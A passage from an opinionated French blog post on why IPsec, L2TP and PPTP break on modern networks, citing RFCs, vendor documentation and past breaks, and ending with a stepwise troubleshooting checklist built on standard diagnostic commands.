mobile en particulier, atteignent l\u0026rsquo;internet IPv4 par NAT64, qui n\u0026rsquo;est pas un NAT du tout au sens ordinaire. C\u0026rsquo;est un traducteur de protocole, qui réécrit un paquet IPv6 en paquet IPv4. Et la RFC 6146 nomme ce qu\u0026rsquo;il transportera, et nomme ce qu\u0026rsquo;il ne transportera pas, sans la moindre ambiguïté :\n« The current specification only defines how stateful NAT64 translates unicast packets carrying TCP, UDP, and ICMP traffic. Multicast packets and other protocols, including the Stream Control Transmission Protocol (SCTP), the Datagram Congestion Control Protocol (DCCP), and IPsec, are out of the scope of this specification. »10\nIPsec, nommément, hors périmètre. Et les paquets portant quoi que ce soit hors de cette liste « SHOULD be discarded »10.\nSur un téléphone ou un portable en IPv6 seul qui cherche à joindre un concentrateur IPv4 — et c\u0026rsquo;est le cas de la plupart des concentrateurs —, l\u0026rsquo;ESP natif n\u0026rsquo;est donc pas jeté par un pare-feu ni abîmé par un traducteur. Il n\u0026rsquo;est simplement jamais transporté. Le traducteur fait précisément ce que sa norme lui dit de faire.\nLa réponse du secteur est, inévitablement, une couche de plus : 464XLAT, qui donne à l\u0026rsquo;équipement une pile IPv4 locale et traduit deux fois, hors d\u0026rsquo;IPv4 puis de retour, pour que ce que NAT64 ne peut pas transporter fonctionne quand même11. Il figure déjà sur la liste des rustines du billet IPv6 et je ne vais pas le réargumenter. Ce qui mérite d\u0026rsquo;être dit ici, c\u0026rsquo;est la forme : un protocole qui s\u0026rsquo;est cassé sur le NAT en 2004 se casse aussi sur la traduction construite pour la transition IPv6 en 2011, et les deux fois la réponse consiste à l\u0026rsquo;emballer dans autre chose.\nC\u0026rsquo;est le test qu\u0026rsquo;un protocole doit passer pour avoir sa place en 2026. Fonctionne-t-il sur le réseau que les gens ont réellement — derrière l\u0026rsquo;adresse partagée d\u0026rsquo;un opérateur, sur un réseau mobile IPv6 seul, à travers un hôtel qui ne laisse passer que TCP 443 ? Tout ce qui est bâti sur un port UDP passe les trois sans qu\u0026rsquo;on le lui dise. IPsec a besoin d\u0026rsquo;un contournement différent pour chacun, et pour le troisième d\u0026rsquo;une encapsulation TCP en plus3.\nPas de ports veut dire aussi pas de second lien Voici une défaillance qui n\u0026rsquo;a rien à voir avec le NAT, qui est purement moderne, et dont on ne parle presque jamais.\nRouteurs et commutateurs répartissent le trafic sur des chemins parallèles. Agrégation de liens, multichemin à coût égal : les deux fonctionnent pareil, en hachant le quintuplet. Adresse source, adresse destination, protocole, port source, port destination. ESP n\u0026rsquo;a pas de ports. Chaque paquet d\u0026rsquo;un tunnel entre les deux mêmes adresses se hache donc de façon identique, et tout le tunnel atterrit sur un seul lien membre, quel que soit le nombre que vous avez acheté.\nDeux liens 10G et un tunnel IPsec vous donnent 10G. Quatre vous donnent 10G. Le matériel fonctionne exactement comme prévu.\nLe contournement a la forme habituelle. Certains silicium savent hacher sur le SPI à la place, puisque chaque SPI nomme une association et donc un flux, mais c\u0026rsquo;est une fonction qu\u0026rsquo;il faut avoir achetée, pas quelque chose que l\u0026rsquo;on peut supposer d\u0026rsquo;un chemin qui ne vous appartient pas. Il existe un projet IETF actif dont l\u0026rsquo;unique objet est d\u0026rsquo;emballer ESP dans encore un en-tête UDP pour que des routeurs ordinaires puissent le hacher, et il dit pourquoi en une phrase : « Although the ESP SPI field within the IPsec packets can be used as the load-balancing key, but it cannot be used by legacy switches and routers. »12 Son exposé du problème est tout aussi direct sur ce que les gens font à la place : « Many cloud service providers allow customers to establish multiple IPsec VPN tunnels in parallel to enable ECMP and increase aggregate bandwidth. However, this approach is not ideal, as each tunnel typically requires its own public IP address, leading to higher public IP consumption and increased operational overhead. »12\nLaissez cela infuser un instant. La manière recommandée d\u0026rsquo;accélérer une liaison chiffrée est d\u0026rsquo;en construire plusieurs, chacune brûlant une adresse IPv4 publique — pendant une pénurie d\u0026rsquo;adresses — parce que le protocole n\u0026rsquo;a pas de numéro de port à hacher. Pendant ce temps, un tunnel bâti sur UDP obtient le multichemin gratuitement, sur du matériel livré il y a quinze ans, parce qu\u0026rsquo;il a un port comme tout le reste de l\u0026rsquo;internet moderne.\nCe n\u0026rsquo;est pas un problème d\u0026rsquo;héritage qui va s\u0026rsquo;éteindre tout seul. C\u0026rsquo;est une limite bien vivante sur les constructions neuves, aujourd\u0026rsquo;hui, exactement aux débits que les gens achètent en ce moment.\nLa taxe MTU, et qui la paie Chaque tunnel coûte des octets. IPsec en coûte plus que la plupart, et sa façon d\u0026rsquo;échouer quand la place manque est le pire genre de panne : intermittente, dépendante de la taille, et invisible à tous les tests que l\u0026rsquo;on lance en premier.\nCe que chaque tunnel dépense par paquet avant que vos données n'entrent Octets partis avant que vos données ne commencent, à l'échelle en-têtes, par paquet total ESP natif tunnel, AES-GCM IP 20 ESP 8 IV 8 fin + empreinte 18 54 B ESP dans UDP port 4500, pour le NAT IP 20 UDP 8 ESP 8 IV 8 fin + empreinte 18 62 B L2TP/IPsec AES-CBC, NAT-T IP 20 UDP 8 ESP 8 IV 16 UDP 8 L2TP 6 PPP 4 fin + empreinte 18 88 B PPTP GRE, protocole 47 IP 20 GRE 16 PPP 4 aucune empreinte d'intégrité 40 B WireGuard un port UDP IP 20 UDP 8 en-tête 16 empreinte 16 60 B Les blocs ombrés sont le prix du traducteur de quelqu'un d'autre. Dans la rangée L2TP, trois d'entre eux sont dans le chiffrement : un second en-tête UDP, une couche de session, et le tramage d'un modem RTC. PPTP est le moins cher parce qu'il ne protège rien. Les 40 octets n'achètent aucun contrôle d'intégrité, et MS-CHAPv2 a été réduit à une seule opération DES en 2012. Le prix n'est pas la mesure. Ce que les octets achètent l'est. Une configuration détaillée de chaque type, sur IPv4. Les chiffres exacts varient selon le chiffrement, le mode et la famille d'adresses. Octets dépensés sur chaque paquet avant que la moindre de vos données n\u0026rsquo;entre, pour une configuration détaillée de chaque type. L\u0026rsquo;ESP natif est sobre. L\u0026rsquo;emballer pour le NAT coûte huit octets de plus. L2TP/IPsec transporte un en-tête UDP, un en-tête L2TP et un en-tête PPP à l\u0026rsquo;intérieur du chiffrement — du tramage d\u0026rsquo;accès commuté, chiffré, en 2026. PPTP paraît bon marché parce qu\u0026rsquo;il ne transporte aucune empreinte d\u0026rsquo;intégrité, et c\u0026rsquo;est tout le problème. Faites le calcul pour une configuration plutôt que d\u0026rsquo;agiter les mains. ESP en mode tunnel sur IPv4 avec AES-GCM : 20 octets d\u0026rsquo;en-tête IP externe, 8 d\u0026rsquo;en-tête ESP, 8 de nonce, 2 au minimum de fin de bloc, 16 d\u0026rsquo;empreinte d\u0026rsquo;intégrité. 54 octets avant que la moindre partie de votre paquet n\u0026rsquo;entre. Emballez-le pour la traversée de NAT et l\u0026rsquo;en-tête UDP le porte à 62. Sur un chemin à 1500 octets il reste 1438, et dès qu\u0026rsquo;il y a du PPPoE à 1492 en amont vous repassez dessous.\nPuis vient ce qui en fait une panne plutôt qu\u0026rsquo;un problème d\u0026rsquo;arithmétique. Un émetteur n\u0026rsquo;apprend qu\u0026rsquo;un paquet était trop gros que par le retour d\u0026rsquo;une erreur ICMP — Fragmentation Needed en IPv4, Packet Too Big en IPv6. Si quoi que ce soit sur le chemin jette ces erreurs, l\u0026rsquo;émetteur ne l\u0026rsquo;apprend jamais et continue d\u0026rsquo;envoyer des paquets qui continuent de mourir. C\u0026rsquo;est le trou noir classique : la négociation aboutit parce que les négociations sont petites, et le transfert bloque parce que les transferts ne le sont pas.\nCisco maintient un document entier là-dessus depuis l\u0026rsquo;époque de GRE et d\u0026rsquo;IPsec, et il reste l\u0026rsquo;une des meilleures explications de cette interaction dans la bibliothèque de quiconque13. S\u0026rsquo;il doit être maintenu, c\u0026rsquo;est parce que les gens continuent de bloquer ICMP en bloc puis s\u0026rsquo;étonnent que les tunnels se comportent bizarrement.\nJ\u0026rsquo;ai déjà écrit les deux moitiés de cet argument et elles valent ici sans être répétées : quels messages ICMP sont porteurs et lequel ne l\u0026rsquo;est pas, dans Ping : l\u0026rsquo;outil de diagnostic qui ouvre bien plus que ça, et comment trouver le saut exact qui mange votre trafic, dans Le pare-feu est à onze sauts. La version courte pour ce billet : les erreurs sont le mécanisme, l\u0026rsquo;écho ne l\u0026rsquo;est pas, et une politique de bordure qui jette tout ICMP a cassé votre VPN d\u0026rsquo;une façon qui sera imputée au VPN.\nEt votre propre qualité de service peut le casser Encore un, parce qu\u0026rsquo;il attrape de bons ingénieurs en train de bien faire.\nESP porte un numéro de séquence et le destinataire tient une fenêtre anti-rejeu de 64 paquets par défaut sur les plateformes Cisco14. Priorisez maintenant la voix sur le routeur émetteur. La file d\u0026rsquo;attente à faible latence fait ce que vous avez demandé et réordonne les paquets par rapport à la séquence dans laquelle ils ont été chiffrés. Si un paquet tombe hors de la fenêtre à son arrivée, le bout distant le jette comme un rejeu, et le compteur qui monte est un compteur de sécurité.\nLes mots de Cisco : « Certain QoS features, such as Low Latency Queueing (LLQ), could cause IPsec packet delivery to become out-of-order and dropped by the receiving endpoint due to a replay check failure. »14 Leur réponse est d\u0026rsquo;élargir la fenêtre à 1024 là où la plateforme le permet, ou d\u0026rsquo;adopter une extension à espaces de numéros de séquence multiples qui associe les classes de QoS à des espaces de séquence séparés au sein d\u0026rsquo;une même association14.\nDonc : activer une fonction standard de votre propre réseau casse votre propre tunnel, et le remède est encore une extension de protocole. La même forme que tout ce qui précède.\nL2TP : du tramage d\u0026rsquo;accès commuté, chiffré, en 2026 L2TP n\u0026rsquo;est pas un protocole de sécurité et ne l\u0026rsquo;a jamais prétendu. La RFC 2661 est un protocole de tunnel pour transporter des sessions PPP, publiée en 1999, sans confidentialité propre — sa propre section sécurité vous renvoie à IPsec pour la protection au niveau du paquet15. Cet appariement, c\u0026rsquo;est la RFC 3193, et le résultat est la pile du schéma ci-dessus : un en-tête IP externe, un en-tête UDP pour la traversée de NAT, ESP, puis à l\u0026rsquo;intérieur du chiffrement encore un en-tête UDP sur le port 1701, un en-tête L2TP et un en-tête PPP.\nPPP. Le tramage des modems d\u0026rsquo;accès commuté, transporté dans un tunnel chiffré, sur l\u0026rsquo;internet, en 2026, parce que c\u0026rsquo;est ce que L2TP a été écrit pour transporter.\nComptez ce que cela coûte sur un exemple — IP externe 20, UDP 8, en-tête ESP et IV 24, UDP interne 8, L2TP 6, PPP 4, fin de bloc et empreinte 18 — et vous dépensez environ 88 octets par paquet pour déplacer des données que l\u0026rsquo;ESP natif déplace pour 54. Trente-quatre octets, sur chaque paquet, pour une couche de session qui n\u0026rsquo;apporte rien de ce que vous vouliez et une couche de liaison conçue pour une ligne téléphonique.\nLe surcoût est le moindre des soucis.\nCela multiplie le problème du NAT au lieu de le diviser. L2TP/IPsec utilise habituellement ESP en mode transport, c\u0026rsquo;est-à-dire le mode auquel le NAT fait le plus de mal, et le résultat bien connu est que beaucoup d\u0026rsquo;implémentations ne supportent pas du tout deux clients derrière une adresse. Deux personnes dans une maison, ou quarante dans un bureau, ou plusieurs centaines derrière l\u0026rsquo;adresse partagée d\u0026rsquo;un opérateur. Le bout distant voit une adresse et ne peut pas distinguer les sessions, donc la deuxième connexion remplace la première. C\u0026rsquo;est le ticket du début de ce billet, et ce n\u0026rsquo;est le défaut du produit de personne — c\u0026rsquo;est le problème de l\u0026rsquo;identité par adresse qui arrive là où le plus de gens le rencontrent.\nEt sur le terrain il est le plus souvent déployé avec un secret partagé unique pour tout le monde. Comme le secret est configuré dans le profil client et distribué avec la notice d\u0026rsquo;installation, la clé prépartagée est dans le document d\u0026rsquo;accueil, sur la page du wiki, dans le courriel aux nouveaux arrivants, et sur chaque portable qui est un jour sorti. Ce n\u0026rsquo;est pas un second facteur. C\u0026rsquo;est un mot de passe qui authentifie la passerelle auprès de personne en particulier et qui n\u0026rsquo;a jamais été changé.\nL2TP n\u0026rsquo;est pas un protocole qui a mal vieilli. C\u0026rsquo;est un protocole qui transportait la mauvaise chose dès le premier jour, et qu\u0026rsquo;on a boulonné à IPsec pour compenser ce qu\u0026rsquo;il ne savait pas faire du tout.\nPPTP n\u0026rsquo;a jamais été sûr, et il est toujours en vente PPTP mérite deux paragraphes, pas une section, et il ne les obtient que parce que des gens le livrent encore.\nIl n\u0026rsquo;a jamais été une norme. La RFC 2637 est Informational. Un protocole de constructeur mis par écrit, pas quelque chose que l\u0026rsquo;IETF ait jamais recommandé. Il transporte PPP dans GRE, protocole IP 47, qui comme ESP n\u0026rsquo;a pas de ports, il lui faut donc un traitement particulier dans chaque NAT du chemin — la case « PPTP passthrough », qui sur bon nombre de routeurs domestiques ne supporte qu\u0026rsquo;une seule session à la fois.\nLa sécurité s\u0026rsquo;est terminée publiquement en 2012. Marlinspike et Hulton ont montré que la sécurité de MS-CHAPv2 se réduit à une seule opération DES quelle que soit la longueur du mot de passe, ont écrit chapcrack pour extraire la négociation, et l\u0026rsquo;ont branché sur un service de cassage qui rendait la clé en moins d\u0026rsquo;une journée pour vingt dollars — un taux de réussite de 100 %, pas une probabilité16. Leur conclusion était que le trafic PPTP doit être considéré comme non chiffré. Apple a voté avec ses pieds et a retiré PPTP du client intégré de macOS Sierra et d\u0026rsquo;iOS 10 en 2016, et publie toujours l\u0026rsquo;avertissement17.\nDix ans plus tard, PPTP est encore une entrée de menu sur des routeurs vendus cette année, encore dans les guides des constructeurs, encore ce que quelqu\u0026rsquo;un active parce que c\u0026rsquo;est celui qui marche du premier coup. Il marche du premier coup parce qu\u0026rsquo;il ne fait pas le travail.\nTout ce qui se dit VPN IPsec « VPN IPsec » n\u0026rsquo;est pas un protocole. C\u0026rsquo;est une famille, et la longueur de la liste ci-dessous est l\u0026rsquo;argument, parce que deux produits n\u0026rsquo;implémentent jamais le même sous-ensemble, et que c\u0026rsquo;est dans les écarts entre ces sous-ensembles que vit chaque chantier d\u0026rsquo;interopérabilité que vous avez détesté.\nPièce Ce qu\u0026rsquo;elle apporte Où elle en est ESP, protocole IP 50 Le chiffrement et l\u0026rsquo;intégrité eux-mêmes RFC 4303 — en vigueur18 AH, protocole IP 51 L\u0026rsquo;intégrité sur l\u0026rsquo;en-tête IP aussi RFC 4302 — inutilisable à travers un NAT2 IKEv1 L\u0026rsquo;échange de clés d\u0026rsquo;origine Déprécié, RFC passées en Historic19 IKEv2 L\u0026rsquo;échange de clés actuel RFC 729620 IPComp, protocole IP 108 Compresse avant de chiffrer, avec ses propres associations RFC 317321 PF_KEY v2 Une API noyau pour qu\u0026rsquo;un démon charge les clés RFC 236722 Traversée de NAT Emballe ESP dans UDP 4500 pour qu\u0026rsquo;un traducteur s\u0026rsquo;en sorte RFC 3947 / 39486 Encapsulation TCP Pour les réseaux qui bloquent aussi l\u0026rsquo;UDP RFC 9329, qui remplace la RFC 82293 Fragmentation IKEv2 Parce que l\u0026rsquo;échange de clés lui-même a dépassé la MTU RFC 738323 MOBIKE Pour que le tunnel survive au changement d\u0026rsquo;adresse RFC 455524 Détection de pair mort Un battement de cœur, parce que rien d\u0026rsquo;autre ne vous le dit RFC 370625 XAUTH Authentification utilisateur — mot de passe, jeton, RADIUS Jamais une RFC. Projet expiré, 200126 Mode-Config Donne au client adresse, DNS et routes Jamais une RFC non plus26 L2TP/IPsec Transporte PPP dans le tunnel RFC 2661 + RFC 319327 GRE ou VTI sur IPsec Vous donne une interface routable pour y faire tourner un protocole Architecture constructeur au-dessus d\u0026rsquo;ESP DMVPN mGRE plus NHRP plus IPsec, pour que les branches se trouvent Architecture constructeur, NHRP RFC 233228 GETVPN Clés de groupe, sans aucun tunnel deux à deux GDOI, RFC 640729 PPTP Ce qu\u0026rsquo;IPsec devait remplacer RFC 2637 — Informational, jamais une norme30 Regardez maintenant les deux lignes en gras, parce que ce sont celles qui devraient vous arrêter.\nPendant près de deux décennies, la façon normale de connecter un utilisateur à un VPN IPsec d\u0026rsquo;entreprise a été XAUTH — votre identifiant et votre mot de passe, votre jeton, votre serveur RADIUS — avec Mode-Config pour donner au client son adresse, ses serveurs DNS et ses routes. À eux deux, ils constituent toute l\u0026rsquo;expérience d\u0026rsquo;accès distant. Chaque client « Cisco IPsec », chaque icône VPN dans une barre des tâches, chaque notice de connexion.\nAucun des deux n\u0026rsquo;est une norme. XAUTH était un projet internet individuel qui a expiré en 2001 et a été archivé sans jamais devenir une RFC26. La raison invoquée mérite d\u0026rsquo;être lue, parce que c\u0026rsquo;est un comité qui explique pourquoi il ne ferait pas son travail : le projet consigne que le groupe de travail IPSRA n\u0026rsquo;accepterait aucun protocole étendant ISAKMP ou IKE, et que le groupe de travail IPsec refusait tout ce qui touchait à l\u0026rsquo;accès distant26. La partie la plus déployée du protocole VPN le plus déployé s\u0026rsquo;est donc retrouvée sans foyer, implémentée quand même par chaque constructeur selon sa propre lecture d\u0026rsquo;un projet expiré, et livrée à des millions d\u0026rsquo;utilisateurs.\nIKEv2 a fini par corriger les deux, et cela mérite d\u0026rsquo;être dit : l\u0026rsquo;authentification est passée à EAP et les charges utiles de configuration du client sont entrées dans la spécification principale20. Mais lisez les dates. La fonction la plus utilisée du protocole VPN le plus utilisé a tourné sur un projet expiré pendant une décennie environ avant d\u0026rsquo;avoir la moindre norme, et le parc installé a continué de faire tourner la version projet des années après. Une famille de protocoles ne mérite pas de crédit pour avoir fini par normaliser la partie que tout le monde utilisait déjà.\nVoilà la famille que vous exploitez. Une partie est en Standards Track et en vigueur. Une partie est Historic. Une partie n\u0026rsquo;est jamais devenue quoi que ce soit. Et un produit dont la fiche technique dit « VPN IPsec » ne vous a à peu près rien dit sur celles de ces dix-huit pièces qu\u0026rsquo;il sait faire, ce qui explique pourquoi en raccorder deux prend quinze jours, un tableur de propositions et un coup de fil à quelqu\u0026rsquo;un qui l\u0026rsquo;a déjà fait.\nLe Fisher-Price OS (Windows) n\u0026rsquo;a jamais vraiment interopéré C\u0026rsquo;est le passage où quelqu\u0026rsquo;un dit que le problème c\u0026rsquo;est Linux, alors faisons-le avec des sources.\nPar défaut, le client Windows ne se connecte pas du tout à un serveur IPsec situé derrière un NAT. Pas « aura du mal ». Refusera. Le correctif est une valeur de registre nommée AssumeUDPEncapsulationContextOnSendRule sous HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\PolicyAgent, mise à 1 si le serveur est derrière un traducteur ou à 2 si les deux bouts le sont, sur chaque client et sur le serveur, suivie d\u0026rsquo;un redémarrage31. Les mots de Microsoft : « By default, Windows Vista and Windows Server 2008 don\u0026rsquo;t support Internet Protocol security (IPsec) network address translation (NAT) Traversal (NAT-T) security associations to servers that are located behind a NAT device. »31\nDeux remarques. La première, c\u0026rsquo;est que Microsoft a coécrit la norme de traversée de NAT qu\u0026rsquo;il refuse d\u0026rsquo;utiliser. Son nom figure sur la RFC 3947 et la RFC 39486. La seconde, c\u0026rsquo;est que la page qui vous dit de modifier le registre a été révisée pour la dernière fois en février 202631. Vingt ans après, une bidouille de registre sur chaque poste est toujours la réponse, et elle est toujours maintenue comme la réponse.\nEt lisez la phrase que Microsoft place juste au-dessus : « If you must use IPsec for communication, use public IP addresses for all servers that you can connect to from the Internet. »31\nC\u0026rsquo;est tout ce billet, dans la documentation du constructeur. Ne mettez pas IPsec derrière un NAT. Donnez à chaque machine une vraie adresse. Ils l\u0026rsquo;ont écrit, et le secteur a ensuite passé deux décennies à faire le contraire et à facturer la différence.\nCela ne s\u0026rsquo;arrête pas au NAT. Allez lire ce qu\u0026rsquo;une passerelle libre doit documenter pour accepter un client Windows.\nLe certificat de la passerelle a besoin d\u0026rsquo;un usage étendu de clé qui n\u0026rsquo;existe que pour cela. serverAuth, OID 1.3.6.1.5.5.7.3.1, plus IP Security IKE Intermediate, OID 1.3.6.1.5.5.8.2.232. Votre autorité de certification doit apprendre à émettre un OID dont la plupart des outils n\u0026rsquo;ont jamais entendu parler, sinon la connexion échoue sur une erreur de politique sans message utile. Une deuxième valeur de registre est nécessaire avant que le client propose de la cryptographie correcte. strongSwan documente l\u0026rsquo;ajout de NegotiateDH2048_AES256 sous Rasman\\Parameters pour obtenir AES-256-CBC et un groupe de 2048 bits33. Lisez-le dans l\u0026rsquo;autre sens, c\u0026rsquo;est celui qui compte : sans modification du registre, la proposition par défaut est plus faible que cela. Le renouvellement de clés initié par le serveur est rejeté par les clients derrière un NAT, et le contournement documenté consiste à désactiver le renouvellement sur la passerelle et à laisser le client le lancer33. Des extensions IKEv2 standard sont tout simplement absentes — pas de redirection IKE, pas de tours d\u0026rsquo;authentification multiples33. Rien de tout cela n\u0026rsquo;est un défaut de Linux. Chacun de ces points est un projet libre qui écrit ce qu\u0026rsquo;il doit faire pour s\u0026rsquo;accommoder de la lecture qu\u0026rsquo;un constructeur fait d\u0026rsquo;une norme qu\u0026rsquo;il a lui-même coécrite.\nC\u0026rsquo;est le schéma, et il a trente ans. PPTP était le protocole de Microsoft, mis par écrit en Informational et jamais normalisé30. MS-CHAPv2 et MPPE étaient l\u0026rsquo;authentification et le chiffrement de Microsoft, et les deux ont été cassés en public16. SSTP est un tunnel Microsoft que personne d\u0026rsquo;autre ne termine. DirectAccess était de l\u0026rsquo;IPsec, et c\u0026rsquo;était Windows aux deux bouts par conception — et il est désormais déprécié et en cours de retrait, les clients étant poussés vers Always On VPN34. Aucun de ces protocoles n\u0026rsquo;a jamais été un protocole où le reste d\u0026rsquo;entre nous pouvait se retrouver à mi-chemin. C\u0026rsquo;était un protocole auquel on adhérait, et si vous ne faisiez pas tourner le bon système d\u0026rsquo;exploitation aux deux bouts, vous aviez droit à la bidouille de registre, à l\u0026rsquo;OID bizarre et à la page de contournement.\nAlors disons-le clairement, c\u0026rsquo;est mon blog après tout. Le Fisher-Price OS (Windows) n\u0026rsquo;a jamais été un pair véritable dans une pile de protocoles ouverte, parce que ce n\u0026rsquo;est pas ce à quoi il servait. Il cache la machine à la personne qui l\u0026rsquo;utilise, et c\u0026rsquo;est un objectif de conception, et une pile qu\u0026rsquo;on ne peut pas voir est une pile qu\u0026rsquo;on ne peut pas rendre interopérable. Si c\u0026rsquo;est le seul système d\u0026rsquo;exploitation que vous ayez jamais administré, les sections ci-dessus sur la lecture des compteurs du noyau et l\u0026rsquo;écoute sur le fil auront sonné comme une langue étrangère, et c\u0026rsquo;est cela l\u0026rsquo;écart — pas une préférence, un écart.\nRien de tout cela ne doit coûter quoi que ce soit au lecteur. Chaque diagnostic de ce billet s\u0026rsquo;exécute depuis n\u0026rsquo;importe quel Unix du réseau, pointé sur ce qui est cassé, et il se moque complètement de ce qui tourne en face. Et si ce système d\u0026rsquo;exploitation est le seul dont vous disposez, la partie diagnostic plus bas porte aussi ses outils à lui — la capture, les deux applets de commande et les codes d\u0026rsquo;erreur avec ce que chacun dit vraiment. Un tunnel cassé doit quand même être réparé lundi. Le remplaçant que je défends à la fin a ensuite un seul client, au comportement identique, sur chaque plateforme y compris celle-là — c\u0026rsquo;est la première fois en trente ans que c\u0026rsquo;est vrai d\u0026rsquo;un VPN.\nLe relevé des dépréciations se lit comme une notice nécrologique Mettez les contournements de côté et lisez simplement ce que les organismes de normalisation ont fait à cette famille au fil des ans. Pas une opinion. Des niveaux d\u0026rsquo;exigence, dans des RFC publiées.\nQuoi Où cela en est aujourd\u0026rsquo;hui Source IKEv1 Déprécié ; RFC 2407, 2408 et 2409 passées en Historic RFC 9395, 202319 DES dans ESP MUST NOT RFC 82218 3DES dans ESP SHOULD NOT RFC 82218 HMAC-MD5-96 MUST NOT RFC 82218 ESP avec AH NOT RECOMMENDED RFC 82218 ESP en chiffrement seul Montré non sûr, et cassé en pratique en 2007 Degabriele et Paterson35 IPsec sur un nœud IPv6 Rétrogradé de MUST à SHOULD RFC 6434, 201136 PPTP Jamais une norme ; Informational seulement RFC 263730 L\u0026rsquo;avant-dernière ligne est celle que je mettrais sous les yeux de quiconque m\u0026rsquo;explique qu\u0026rsquo;IPsec va bien et que c\u0026rsquo;est le réseau le problème. IPv6 imposait IPsec à l\u0026rsquo;origine — c\u0026rsquo;était l\u0026rsquo;argument de sécurité, inscrit dans les exigences de nœud. En 2011 l\u0026rsquo;IETF a changé d\u0026rsquo;avis : « Previously, IPv6 mandated implementation of IPsec and recommended the key management approach of IKE. This document updates that recommendation by making support of the IPsec Architecture a SHOULD for all IPv6 nodes. »36\nMême la famille d\u0026rsquo;adresses qui aurait rendu à IPsec tout ce que le NAT lui avait pris a cessé de l\u0026rsquo;exiger il y a quinze ans. Ce n\u0026rsquo;est pas le réseau qui lâche IPsec. Ce sont les gens qui ont conçu le réseau et qui ont décidé qu\u0026rsquo;il n\u0026rsquo;avait pas mérité l\u0026rsquo;obligation.\nLa complexité avait été signalée en 1999, par écrit Rien de tout cela n\u0026rsquo;est de la sagesse d\u0026rsquo;après coup, et c\u0026rsquo;est ce qui rend la chose digne d\u0026rsquo;être écrite.\nEn 1999, Niels Ferguson et Bruce Schneier ont été chargés d\u0026rsquo;évaluer IPsec. Leur rapport est court, clair et mérite d\u0026rsquo;être lu en entier. Il s\u0026rsquo;ouvre sur « IPsec was a great disappointment to us. Given the quality of the people that worked on it and the time that was spent on it, we expected a much better result. »37 Il en nomme la cause : « Our main criticism of IPsec is its complexity. IPsec contains too many options and too much flexibility; there are often several ways of doing the same or similar things. This is a typical committee effect. »37\nEt il formulait trois recommandations qui se lisent aujourd\u0026rsquo;hui comme une liste de choses arrivées quand même, vingt ans trop tard et par la manière dure :\nSupprimer le mode transport. « We therefore recommend that transport mode be eliminated. »37 Le mode transport est celui qu\u0026rsquo;utilise L2TP/IPsec, et celui auquel le NAT fait le plus de mal. Supprimer AH. « We conclude that eliminating transport mode allows the elimination of the AH protocol as well, without loss of functionality. »37 C\u0026rsquo;est le NAT qui l\u0026rsquo;a supprimé à la place, pour une plus mauvaise raison. Ne jamais autoriser le chiffrement sans authentification. Ils prévenaient que les administrateurs « will be quite likely to configure ESP for only encryption, believing that it provides security » — configureraient très probablement ESP en chiffrement seul, croyant que cela apporte la sécurité37. Huit ans plus tard, ce dernier point a cessé d\u0026rsquo;être un avertissement. Degabriele et Paterson ont publié des attaques qui « break any RFC-compliant implementation of IPsec making use of encryption-only ESP » — cassent toute implémentation conforme utilisant ESP en chiffrement seul, à partir du seul texte chiffré, et qui n\u0026rsquo;exigent rien de plus que d\u0026rsquo;écouter le trafic et d\u0026rsquo;injecter des paquets35. La prédiction était au dossier public depuis huit ans et la norme autorisait toujours cette configuration.\nLe verdict de ce rapport de 1999 est la phrase sur laquelle je reviens sans cesse : « We have found serious security weaknesses in all major components of IPsec. As always in security, there is no prize for getting 90% right; you have to get everything right. »37\nEncore deux points, et j\u0026rsquo;en resterai là.\nLogjam, 2015. L\u0026rsquo;équipe derrière cette étude a scanné un échantillon de 1 % d\u0026rsquo;IPv4 à la recherche d\u0026rsquo;IKE et a trouvé que 86,1 % des serveurs IKEv1 et 91,0 % des serveurs IKEv2 supportaient le groupe Oakley 2 de 1024 bits, et que 66,1 % des serveurs IKEv1 profilés le préféraient. Leur conclusion : un précalcul contre un deuxième groupe de 1024 bits « would allow decryption of traffic to 66% of IPsec VPNs », et les documents de renseignement publiés sur l\u0026rsquo;exploitation des VPN sont « consistent with having achieved such a break »38. L\u0026rsquo;agilité cryptographique, ce dont IPsec dispose le plus, est ce qui a permis à presque tout le monde de rester quinze ans sur le même groupe faible.\nCVE-2016-1287. Un débordement de tampon dans le code IKEv1 et IKEv2 des Cisco ASA, atteignable en envoyant des paquets UDP forgés, offrant l\u0026rsquo;exécution de code à distance avant authentification39. Pensez à l\u0026rsquo;endroit où se trouve ce boîtier. C\u0026rsquo;est l\u0026rsquo;équipement que vous avez délibérément exposé à l\u0026rsquo;internet entier, faisant tourner le protocole le plus chargé d\u0026rsquo;options du parc, avec un réassembleur de fragments devant l\u0026rsquo;analyseur, et détenant les clés de tout ce qui est derrière. La complexité dont Ferguson et Schneier avertissaient n\u0026rsquo;est pas une abstraction. C\u0026rsquo;est de la surface d\u0026rsquo;attaque, sur la seule machine que vous ne pouvez mettre derrière rien.\nLe diagnostiquer tant que vous l\u0026rsquo;exploitez encore Vous ne pouvez pas tout éteindre cet après-midi, voici donc comment travailler dessus. C\u0026rsquo;est la méthode, dans l\u0026rsquo;ordre qui coûte le moins, avec ce que chaque résultat signifie réellement.\nSix façons d'abandonner, placées sur le chemin où chacune se produit Où vit réellement chaque défaillance Client politique et routes Routeur domestique traduction un Opérateur traduction deux L'internet filtres et MTU Passerelle sélecteurs et identité 1 2 3 4 5 6 1 Rien du tout sur le fil. Le trafic n'a jamais atteint IPsec. Arrêtez de chercher côté crypto. ip xfrm policy et la route, et ce que fait le pare-feu local. 2 Port 500 dans les deux sens, 4500 jamais. La traversée de NAT n'a pas été négociée. tcpdump -ni eth0 'udp port 500 or udp port 4500 or ip proto 50' L'ESP nu n'y survivra pas. 3 Meurt après inactivité, renaît au premier usage. Une association a expiré chez l'un des deux traducteurs. Votre keepalive perd contre une minuterie que vous ne lisez pas. Raccourcissez-le et ne croyez pas le défaut. 4 Compteur sortant en hausse, entrant à plat. L'ESP meurt dans un sens, en transit. ip -s xfrm state aux deux bouts, puis trouvez le saut qui le mange. 5 La connexion passe, les gros transferts bloquent. MTU de chemin, et les erreurs ICMP ne reviennent pas. ping -M do -s 1400 en descendant, puis bornez la taille de segment et corrigez la règle ICMP. 6 Les deux bouts disent monté, rien ne passe. Sélecteurs de trafic, politique ou routage \u0026#8212; pas les clés. Et si un second utilisateur a éjecté le premier, c'est l'identité du pair, pas la capacité. Une capture à la bordure de trente secondes répond aux trois premières. Faites-la avant d'ouvrir une console. Les six défaillances dans l\u0026rsquo;ordre où il faut les tester, avec le symptôme, la vérification et le sens de la réponse. Chaque ligne est une couche différente de la pile qui abandonne, et les trois premières se règlent en regardant le fil pendant trente secondes — c\u0026rsquo;est pour cela que c\u0026rsquo;est la première chose à faire, et non la dernière. 